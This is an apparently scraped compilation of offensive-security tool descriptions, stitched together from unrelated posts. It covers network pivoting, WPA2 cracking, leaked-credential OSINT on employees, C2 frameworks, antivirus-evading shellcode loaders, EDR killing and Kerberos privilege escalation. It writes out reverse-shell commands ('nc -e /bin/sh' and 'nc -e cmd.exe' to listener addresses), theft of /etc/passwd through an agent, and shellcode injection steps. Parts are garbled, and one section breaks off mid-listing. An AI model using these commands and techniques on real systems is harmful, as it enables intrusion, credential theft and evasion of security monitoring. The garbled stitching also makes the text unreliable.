? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
[  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes       
[  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes       
[  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes       
[  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes       
[  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes       
[  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes       
[  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes       
[  5]   8.   00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes       
[  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender
[  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver

Caveats

Because the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.

When using nmap, you should use --unprivileged or -PE to avoid false positives.

Todo

• Implement other ICMP error messages (this will speed up UDP scans) ;
• Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
• Add mTLS support.

Credits

• Nicolas Chatelain <nicolas -at- chatelain.me>

Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.

Program Usage

python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

How PMKID is Calculated

The two main formulas to obtain a PMKID are as follows:

1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

Obtaining the PMKID

Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

Open the pcap in WireShark:

• Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
• In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
• In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

If access point is vulnerable, you should see the PMKID value like the below screenshot:

Demo Run

Disclaimer

This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.

EmploLeaks - An OSINT Tool That Helps Detect Members Of A Company With Leaked Credentials

This is a tool designed for Open Source Intelligence (OSINT) purposes, which helps to gather information about employees of a company.

How it Works

The tool starts by searching through LinkedIn to obtain a list of employees of the company. Then, it looks for their social network profiles to find their personal email addresses. Finally, it uses those email addresses to search through a custom COMB database to retrieve leaked passwords. You an easily add yours and connect to through the tool.

Installation

To use this tool, you'll need to have Python 3.10 installed on your machine. Clone this repository to your local machine and install the required dependencies using pip in the cli folder:

cd cli
pip install -r requirements.txt

OSX

We know that there is a problem when installing the tool due to the psycopg2 binary. If you run into this problem, you can solve it running:

cd cli
python3 -m pip install psycopg2-binary`

Basic Usage

To use the tool, simply run the following command:

python3 cli/emploleaks.py

If everything went well during the installation, you will be able to start using EmploLeaks:

___________              .__         .__                 __
\_   _____/ _____ ______ |  |   ____ |  |   ____ _____  |  | __  ______
 |    __)_ /     \____  \|  |  /  _ \|  | _/ __ \__   \ |  |/ / /  ___/
 |        \  Y Y  \  |_> >  |_(  <_> )  |_\  ___/ / __ \|    <  \___ \
/_______  /__|_|  /   __/|____/\____/|____/\___  >____  /__|_ \/____  >
        \/      \/|__|                         \/     \/     \/     \/

OSINT tool 🕵  to chain multiple apis
emploleaks>

Right now, the tool supports two functionalities:

• Linkedin, for searching all employees from a company and get their personal emails.
  • A GitLab extension, which is capable of finding personal code repositories from the employees.
• If defined and connected, when the tool is gathering employees profiles, a search to a COMB database will be made in order to retrieve leaked passwords.

Retrieving Linkedin Profiles

First, you must set the plugin to use, which in this case is linkedin. After, you should set your authentication tokens and the run the impersonate process:

emploleaks> use --plugin linkedin
emploleaks(linkedin)> setopt JSESSIONID
JSESSIONID: 
[+] Updating value successfull
emploleaks(linkedin)> setopt li-at
li-at: 
[+] Updating value successfull
emploleaks(linkedin)> show options
Module options:

Name        Current Setting                      Required    Description
----------  -----------------------------------  ----------  -----------------------------------
hide        yes                                  no          hide the JSESSIONID field
JSESSIONID  **************************           no          active cookie session in browser #1
li-at       AQEDAQ74B0YEUS-_AAABilIFFBsAAAGKdhG  no          active cookie session in browser #1
            YG00AxGP34jz1bRrgAcxkXm9RPNeYIAXz3M
            cycrQm5FB6lJ-Tezn8GGAsnl_GRpEANRdPI
            lWTRJJGF9vbv5yZHKOeze_WCHoOpe4ylvET
            kyCyfN58SNNH
emploleaks(linkedin)> run i   mpersonate
[+] Using cookies from the browser
Setting for first time JSESSIONID
Setting for first time li_at

li_at and JSESSIONID are the authentication cookies of your LinkedIn session on the browser. You can use the Web Developer Tools to get it, just sign-in normally at LinkedIn and press right click and Inspect, those cookies will be in the Storage tab.

Now that the module is configured, you can run it and start gathering information from the company:

emploleaks(linkedin)> connect --user myuser --passwd mypass123 --dbname mydbname --host 1.2.3.4
[+] Connecting to the Leak Database...
[*] version: PostgreSQL 12.15

├── count_total.sh
├── data
│   ├── 0
│   ├── 1
│   │   ├── 0
│   │   ├── 1
│   │   ├── 2
│   │   ├── 3
│   │   ├── 4
│   │   ├─â&€ 5
│   │   ├── 6
│   │   ├── 7
│   │   ├── 8
│   │   ├── 9
│   │   ├── a
│   │   ├── b
│   │   ├── c
│   │   ├── d
│   │   ├── e
│   │   ├── f
│   │   ├── g
│   │   ├── h
│   │   ├── i
│   │   ├── j
│   │   ├── k
│   │   ├── l
│   │   ├── m
│   │   ├⠀─ n
│   │   ├── o
│   │   ├── p
│   │   ├── q
│   │   ├── r
│   │   ├── s
│   │   ├── symbols
│   │   ├── t

PipeViewer - A Tool That Shows Detailed Information About Named Pipes In Windows

The tool was published as part of a research about Docker named pipes:
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1"
"Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 2"

Overview

PipeViewer is a GUI tool that allows users to view details about Windows Named pipes and their permissions. It is designed to be useful for security researchers who are interested in searching for named pipes with weak permissions or testing the security of named pipes. With PipeViewer, users can easily view and analyze information about named pipes on their systems, helping them to identify potential security vulnerabilities and take appropriate steps to secure their systems.

Usage

Double-click the EXE binary and you will get the list of all named pipes.

Build

We used Visual Studio to compile it.
When downloading it from GitHub you might get error of block files, you can use PowerShell to unblock them:

Get-ChildItem -Path 'D:\tmp\PipeViewer-main' -Recurse | Unblock-File

Warning

We built the project and uploaded it so you can find it in the releases.
One problem is that the binary will trigger alerts from Windows Defender because it uses the NtObjerManager package which is flagged as virus.
Note that James Forshaw talked about it here.
We can't change it because we depend on third-party DLL.

Features

• A detailed overview of named pipes.
• Filter\highlight rows based on cells.
• Bold specific rows.
• Export\Import to\from JSON.
• PipeChat - create a connection with available named pipes.

Demo

Credit

We want to thank James Forshaw (@tyranid) for creating the open source NtApiDotNet which allowed us to get information about named pipes.

License

Copyright (c) 2023 CyberArk Software Ltd. All rights reserved
This repository is licensed under Apache-2.0 License - see LICENSE for more details.

References

For more comments, suggestions or questions, you can contact Eviatar Gerzi (@g3rzi) and CyberArk Labs.

Hades-C2 - Hades Basic Command And Control Server

Hades is a basic Command & Control server built using Python. It is currently extremely bare bones, but I plan to add more features soon. Features are a work in progress currently.

This is a project made (mostly) for me to learn Malware Development, Sockets, and C2 infrastructure setups. Currently, the server can be used for CTFs but it is still a buggy mess with a lot of things that need ironed out.

I am working on a Web UI using Flask currently so new features are being put on hold until then, if you face any issues then please be sure to create an issues request.

Features

• Windows Implant
  • Python Implant
  • Executable Implant
  • Powershell Cradle
• Linux Implant
• Basic Command & Control functionality
  • CMD Commands
  • BASH Commands
• Basic Persistence
  • Linux Cronjob
  • Windows Registry Autorun

Getting Started

Help

Listener Commands
---------------------------------------------------------------------------------------

listeners -g --generate           --> Generate Listener

Session Commands
---------------------------------------------------------------------------------------

sessions -l --list                --> List Sessions
sessions -i --interact            --> Interact with Session
sessions -k --kill <value>        --> Kill Active Session

Payload Commands
---------------------------------------------------------------------------------------

winplant.py                       --> Windows Python Implant
exeplant.py                       --> Windows Executable Implant
linplant.py                       --> Linux Implant
pshell_shell                      --> Powershell Implant

Client Commands
--------   -------------------------------------------------------------------------------

persist / pt                      --> Persist Payload (After Interacting with Session) 
background / bg                   --> Background Session
exit                              --> Kill Client Connection

Misc Commands
---------------------------------------------------------------------------------------

help / h                          --> Show Help Menu
clear / cls                       --> Clear Screen

Prerequisites

• Python3 Pip
• Colorama

Installation

git clone https://github.com/lavender-exe/Hades-C2.git
cd Hades-C2
# Windows
python install.py
# Linux
python3 install.py
python3 hades-c2.py

Server:

1. Run the server using python hades-c2.py
2. Run listeners -g / --generate to generate a listener
3. Select the IP and Port for the listener

Implant:

1. Create an implant using winplant.py, linplant.py or exeplant.py
2. Run the implant on the target machine

Roadmap

See the open issues for a list of proposed features (and known issues).

Contributing

Contributions are what make the open source community such an amazing place to be learn, inspire, and create. Any contributions you make are greatly appreciated.

• If you have suggestions for adding or removing projects, feel free to open an issue to discuss it, or directly create a pull request after you edit the README.md file with necessary changes.
• Please make sure you check your spelling and grammar.
• Create individual PR for each suggestion.
• Please also read through the Code Of Conduct before posting your first idea as well.

Creating A Pull Request

1. Fork the Project
2. Create your Feature Branch (git checkout -b feature/AmazingFeature)
3. Commit your Changes (git commit -m 'Add some AmazingFeature')
4. Push to the Branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

Future Plans

• Better Implant Functions
• Add more persistence methods
• Add more command functionality
• Use Nim/C++ to create cross-platform malware
• Add more Quality of Life features
• Flask Web Interface

License

Distributed under the MIT License. See LICENSE for more information.

Authors

• Lavender - Nerd - Lavender - Created Project

Acknowledgements

• Joe Helle

Dvenom - Tool That Provides An Encryption Wrapper And Loader For Your Shellcode

Double Venom (DVenom) is a tool that helps red teamers bypass AVs by providing an encryption wrapper and loader for your shellcode.

• Capable of bypassing some well-known antivirus (AVs).
• Offers multiple encryption methods including RC4, AES256, XOR, and ROT.
• Produces source code in C#, Rust, PowerShell, ASPX, and VBA.
• Employs different shellcode loading techniques: VirtualAlloc, Process Injection, NT Section Injection, Hollow Process Injection.

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

• Golang installed.
• Basic understanding of shellcode operations.
• Familiarity with C#, Rust, PowerShell, ASPX, or VBA.

To clone and run this application, you'll need Git installed on your computer. From your command line:

# Clone this repository
$ git clone https://github.com/zerx0r/dvenom
# Go into the repository
$ cd dvenom
# Build the application
$ go build /cmd/dvenom/

After installation, you can run the tool using the following command:

./dvenom -h

• -e: Specify the encryption type for the shellcode (Supported types: xor, rot, aes256, rc4).
• -key: Provide the encryption key.
• -l: Specify the language (Supported languages: cs, rs, ps1, aspx, vba).
• -m: Specify the method type (Supported types: valloc, pinject, hollow, ntinject).
• -procname: Provide the process name to be injected (default is "explorer").
• -scfile: Provide the path to the shellcode file.

To generate c# source code that contains encrypted shellcode.

Note that if AES256 has been selected as an encryption method, the Initialization Vector (IV) will be auto-generated.

./dvenom -e aes256 -key secretKey -l cs -m ntinject -procname explorer -scfile /home/zerx0r/shellcode.bin > ntinject.cs

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

This project is licensed under the MIT License - see the LICENSE file for details.

Double Venom (DVenom) is intended for educational and ethical testing purposes only. Using DVenom for attacking targets without prior mutual consent is illegal. The tool developer and contributor(s) are not responsible for any misuse of this tool.

GATOR - GCP Attack Toolkit For Offensive Research, A Tool Designed To Aid In Research And Exploiting Google Cloud Environments

GATOR - GCP Attack Toolkit for Offensive Research, a tool designed to aid in research and exploiting Google Cloud Environments. It offers a comprehensive range of modules tailored to support users in various attack stages, spanning from Reconnaissance to Impact.

Modules

Installation

Python 3.11 or newer should be installed. You can verify your Python version with the following command:

python --version

Manual Installation via setup.py

git clone https://github.com/anrbn/GATOR.git
cd GATOR
python setup.py install

Automated Installation via pip

pip install gator-red

Documentation

Have a look at the GATOR Documentation for an explained guide on using GATOR and it's module!

Issues

Reporting an Issue

If you encounter any problems with this tool, I encourage you to let me know. Here are the steps to report an issue:

1. Check Existing Issues: Before reporting a new issue, please check the existing issues in this repository. Your issue might have already been reported and possibly even resolved.

2. Create a New Issue: If your problem hasn't been reported, please create a new issue in the GitHub repository. Click the Issues tab and then click New Issue.

3. Describe the Issue: When creating a new issue, please provide as much information as possible. Include a clear and descriptive title, explain the problem in detail, and provide steps to reproduce the issue if possible. Including the version of the tool you're using and your operating system can also be helpful.

4. Submit the Issue: After you've filled out all the necessary information, click Submit new issue.

Your feedback is important, and will help improve the tool. I appreciate your contribution!

Resolving an Issue

I'll be reviewing reported issues on a regular basis and try to reproduce the issue based on your description and will communicate with you for further information if necessary. Once I understand the issue, I'll work on a fix.

Please note that resolving an issue may take some time depending on its complexity. I appreciate your patience and understanding.

Contributing

I warmly welcome and appreciate contributions from the community! If you're interested in contributing on any existing or new modules, feel free to submit a pull request (PR) with any new/existing modules or features you'd like to add.

Once you've submitted a PR, I'll review it as soon as I can. I might request some changes or improvements before merging your PR. Your contributions play a crucial role in making the tool better, and I'm excited to see what you'll bring to the project!

Thank you for considering contributing to the project.

Questions and Issues

If you have any questions regarding the tool or any of its modules, please check out the documentation first. I've tried to provide clear, comprehensive information related to all of its modules. If however your query is not yet solved or you have a different question altogether please don't hesitate to reach out to me via Twitter or LinkedIn. I'm always happy to help and provide support. :)

Commander - A Command And Control (C2) Server

Commander is a command and control framework (C2) written in Python, Flask and SQLite. It comes with two agents written in Python and C.

Under Continuous Development

Not script-kiddie friendly

Features

• Fully encrypted communication (TLS)
• Multiple Agents
• Obfuscation
• Interactive Sessions
• Scalable
• Base64 data encoding
• RESTful API

Agents

• Python 3
  • The python agent supports:
    • sessions, an interactive shell between the admin and the agent (like ssh)
    • obfuscation
    • Both Windows and Linux systems
    • download/upload files functionality
• C
  • The C agent supports only the basic functionality for now, the control of tasks for the agents
  • Only for Linux systems

Requirements

Python >= 3.6 is required to run and the following dependencies

Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

How to Use it

First create the required certs and keys

# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Start the admin.py module first in order to create a local sqlite db file

python3 admin.py

Continue by running the server

python3 c2_server.py

And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.

# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.

As the Operator/Administrator you can use the following commands to control your agents

Commands:

  task add arg c2-commands
    Add a task to an agent, to a group or on all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
      c2-register: Triggers the agent to register again.
      c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
         cmd: The command to execute.
      c2-sleep: Configure the interval that an agent will check for tasks.
      c2-session port: Instructs the agent to open a shell session with the server to this port.
         port: The port to connect to. If it is not provided it defaults to 5555.
      c2-quit: Forces an agent to quit.

  task delete arg
    Delete a task from an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Displays inf   o for all the availiable agents or for specific agent.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Displays the task of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Displays the history/result of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Drops the database so that the active agents will be registered again.

  exit
    Bye Bye!


Sessions:

  sessions server arg [port]
    Controls a session handler.
    arg: can have the following values: 'start' , 'stop' 'status' 
    port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
  sessions select arg
    Select in which session to attach.
       arg: the index from the 'sessions list' result 
  sessions close arg
    Close a session.
    arg: the index from the 'sessions list' result 
  sessions list
    Displays the availiable sessions
  local-ls directory
    Lists on your host the files on the selected directory 
  download 'file'
    Downloads the 'file' locally on the current directory 
  upload 'file'
    Uploads a file in the directory where the agent currently is 

Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P

The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.

Flows

Below you can find a normal flow diagram

Normal Flow

In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.

More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.

Below is the flow diagram for this case.

Re-register Flow

Useful examples

To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.

# show all availiable agents
show agent all

To instruct all the agents to run the command "id" you can do it like this:

# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

# to set it for all agents
task add all c2-sleep 30

# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 

pip install pyinstaller
pyinstaller --onefile agent.py

cd tests/
py.test

# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

RecycledInjector - Native Syscalls Shellcode Injector

(Currently) Fully Undetected same-process native/.NET assembly shellcode injector based on RecycledGate by thefLink, which is also based on HellsGate + HalosGate + TartarusGate to ensure undetectable native syscalls even if one technique fails.

To remain stealthy and keep entropy on the final executable low, do ensure that shellcode is always loaded externally since most AV/EDRs won't check for signatures on non-executable or DLL files anyway.

Important to also note that the fully undetected part refers to the loading of the shellcode, however, the shellcode will still be subject to behavior monotoring, thus make sure the loaded executable also makes use of defense evasion techniques (e.g., SharpKatz which features DInvoke instead of Mimikatz).

Usage

.\RecycledInjector.exe <path_to_shellcode_file>

Proof of Concept

This proof of concept leverages Terminator by ZeroMemoryEx to kill most security solution/agents present on the system. It is used against Microsoft Defender for Endpoint EDR.

On the left we inject the Terminator shellcode to load the vulnerable driver and kill MDE processes, and on the right is an example of loading and executing Invoke-Mimikatz remotely from memory, which is not stopped as there is no running security solution anymore on the system.

Spoofy - Program That Checks If A List Of Domains Can Be Spoofed Based On SPF And DMARC Records

Spoofy is a program that checks if a list of domains can be spoofed based on SPF and DMARC records. You may be asking, "Why do we need another tool that can check if a domain can be spoofed?"

Well, Spoofy is different and here is why:

1. Authoritative lookups on all lookups with known fallback (Cloudflare DNS)
2. Accurate bulk lookups
3. Custom, manually tested spoof logic (No guessing or speculating, real world test results)
4. SPF lookup counter

HOW TO USE

Spoofy requires Python 3+. Python 2 is not supported. Usage is shown below:

Usage:
    ./spoofy.py -d [DOMAIN] -o [stdout or xls]
    OR
    ./spoofy.py -iL [DOMAIN_LIST] -o [stdout or xls]

Install Dependencies:
    pip3 install -r requirements.txt

HOW DO YOU KNOW ITS SPOOFABLE

(The spoofability table lists every combination of SPF and DMARC configurations that impact deliverability to the inbox, except for DKIM modifiers.) Download Here

METHODOLOGY

The creation of the spoofability table involved listing every relevant SPF and DMARC configuration, combining them, and then conducting SPF and DMARC information collection using an early version of Spoofy on a large number of US government domains. Testing if an SPF and DMARC combination was spoofable or not was done using the email security pentesting suite at emailspooftest using Microsoft 365. However, the initial testing was conducted using Protonmail and Gmail, but these services were found to utilize reverse lookup checks that affected the results, particularly for subdomain spoof testing. As a result, Microsoft 365 was used for the testing, as it offered greater control over the handling of mail.

After the initial testing using Microsoft 365, some combinations were retested using Protonmail and Gmail due to the differences in their handling of banners in emails. Protonmail and Gmail can place spoofed mail in the inbox with a banner or in spam without a banner, leading to some SPF and DMARC combinations being reported as "Mailbox Dependent" when using Spoofy. In contrast, Microsoft 365 places both conditions in spam. The testing and data collection process took several days to complete, after which a good master table was compiled and used as the basis for the Spoofy spoofability logic.

DISCLAIMER

This tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes! It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this tool and software.

CREDIT

Lead / Only programmer & spoofability logic comprehension upgrades & lookup resiliency system / fix (main issue with other tools) & multithreading & feature additions: Matt Keeley

DMARC, SPF, DNS insights & Spoofability table creation/confirmation/testing & application accuracy/quality assurance: calamity.email / eman-ekaf

Logo: cobracode

Tool was inspired by Bishop Fox's project called spoofcheck.

S4UTomato - Escalate Service Account To LocalSystem Via Kerberos

Escalate Service Account To LocalSystem via Kerberos.

Traditional Potatoes

Friends familiar with the "Potato" series of privilege escalation should know that it can elevate service account privileges to local system privileges. The early exploitation techniques of "Potato" are almost identical: leveraging certain features of COM interfaces, deceiving the NT AUTHORITY\SYSTEM account to connect and authenticate to an attacker-controlled RPC server. Then, through a series of API calls, an intermediary (NTLM Relay) attack is executed during this authentication process, resulting in the generation of an access token for the NT AUTHORITY\SYSTEM account on the local system. Finally, this token is stolen, and the CreatePr ocessWithToken() or CreateProcessAsUser() function is used to pass the token and create a new process to obtain SYSTEM privileges.

How About Kerberos

In any scenario where a machine is joined to a domain, you can leverage the aforementioned techniques for local privilege escalation as long as you can run code under the context of a Windows service account or a Microsoft virtual account, provided that the Active Directory hasn't been hardened to fully defend against such attacks.

In a Windows domain environment, SYSTEM, NT AUTHORITY\NETWORK SERVICE, and Microsoft virtual accounts are used for authentication by system computer accounts that are joined to the domain. Understanding this is crucial because in modern versions of Windows, most Windows services run by default using Microsoft virtual accounts. Notably, IIS and MSSQL use these virtual accounts, and I believe other applications might also employ them. Therefore, we can abuse the S4U extension to obtain the service ticket for the domain administrator account "Administrator" on the local machine. Then, with the help of James Forshaw (@tiraniddo)'s SCMUACBypass, we can use that ticket to create a system service and ga in SYSTEM privileges. This achieves the same effect as traditional methods used in the "Potato" family of privilege escalation techniques.

Before this, we need to obtain a TGT (Ticket Granting Ticket) for the local machine account. This is not easy because of the restrictions imposed by service account permissions, preventing us from obtaining the computer's Long-term Key and thus being unable to construct a KRB_AS_REQ request. To accomplish the aforementioned goal, I leveraged three techniques: Resource-based Constrained Delegation, Shadow Credentials, and Tgtdeleg. I built my project based on the Rubeus toolset.

How to Use and Examples

C:\Users\whoami\Desktop>S4UTomato.exe --help

S4UTomato 1.0.0-beta
Copyright (c) 2023

  -d, --Domain              Domain (FQDN) to authenticate to.
  -s, --Server              Host name of domain controller or LDAP server.
  -m, --ComputerName        The new computer account to create.
  -p, --ComputerPassword    The password of the new computer account to be created.
  -f, --Force               Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer
                            object.
  -c, --Command             Program to run.
  -v, --Verbose             Output verbose debug information.
  --help                    Display this help screen.
  --version                 Display version information.

LEP via Resource-based Constrained Delegation

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

LEP via Shadow Credentials + S4U2self

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

LEP via Tgtdeleg + S4U2self

# First retrieve the TGT through Tgtdeleg
S4UTomato.exe tgtdeleg
# Then run SCMUACBypass to obtain SYSTEM privilege
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

ModuleShifting - Stealthier Variation Of Module Stomping And Module Overloading Injection Techniques That Reduces Memory IoCs

ModuleShifting is stealthier variation of Module Stomping and Module overloading injection technique. It is actually implemented in Python ctypes so that it can be executed fully in memory via a Python interpreter and Pyramid, thus avoiding the usage of compiled loaders.

The technique can be used with PE or shellcode payloads, however, the stealthier variation is to be used with shellcode payloads that need to be functionally independent from the final payload that the shellcode is loading.

ModuleShifting, when used with shellcode payload, is performing the following operations:

1. Legitimate hosting dll is loaded via LoadLibrary
2. Change the memory permissions of a specified section to RW
3. Overwrite shellcode over the target section
4. add optional padding to better blend into false positive behaviour (more information here)
5. Change permissions to RX
6. Execute shellcode via function pointer - additional execution methods: function callback or CreateThread API
7. Write original dll content over the executed shellcode - this step avoids leaving a malicious memory artifact on the image memory space of the hosting dll. The shellcode needs to be functionally independent from further stages otherwise execution will break.

When using a PE payload, ModuleShifting will perform the following operation:

1. Legitimate hosting dll is loaded via LoadLibrary
2. Change the memory permissions of a specified section to RW
3. copy the PE over the specified target point section-by-section
4. add optional padding to better blend into false positive behaviour
5. perform base relocation
6. resolve imports
7. finalize section by setting permissions to their native values (avoids the creation of RWX memory region)
8. TLS callbacks execution
9. Executing PE entrypoint

Why it's useful

ModuleShifting can be used to inject a payload without dynamically allocating memory (i.e. VirtualAlloc) and compared to Module Stomping and Module Overloading is stealthier because it decreases the amount of IoCs generated by the injection technique itself.

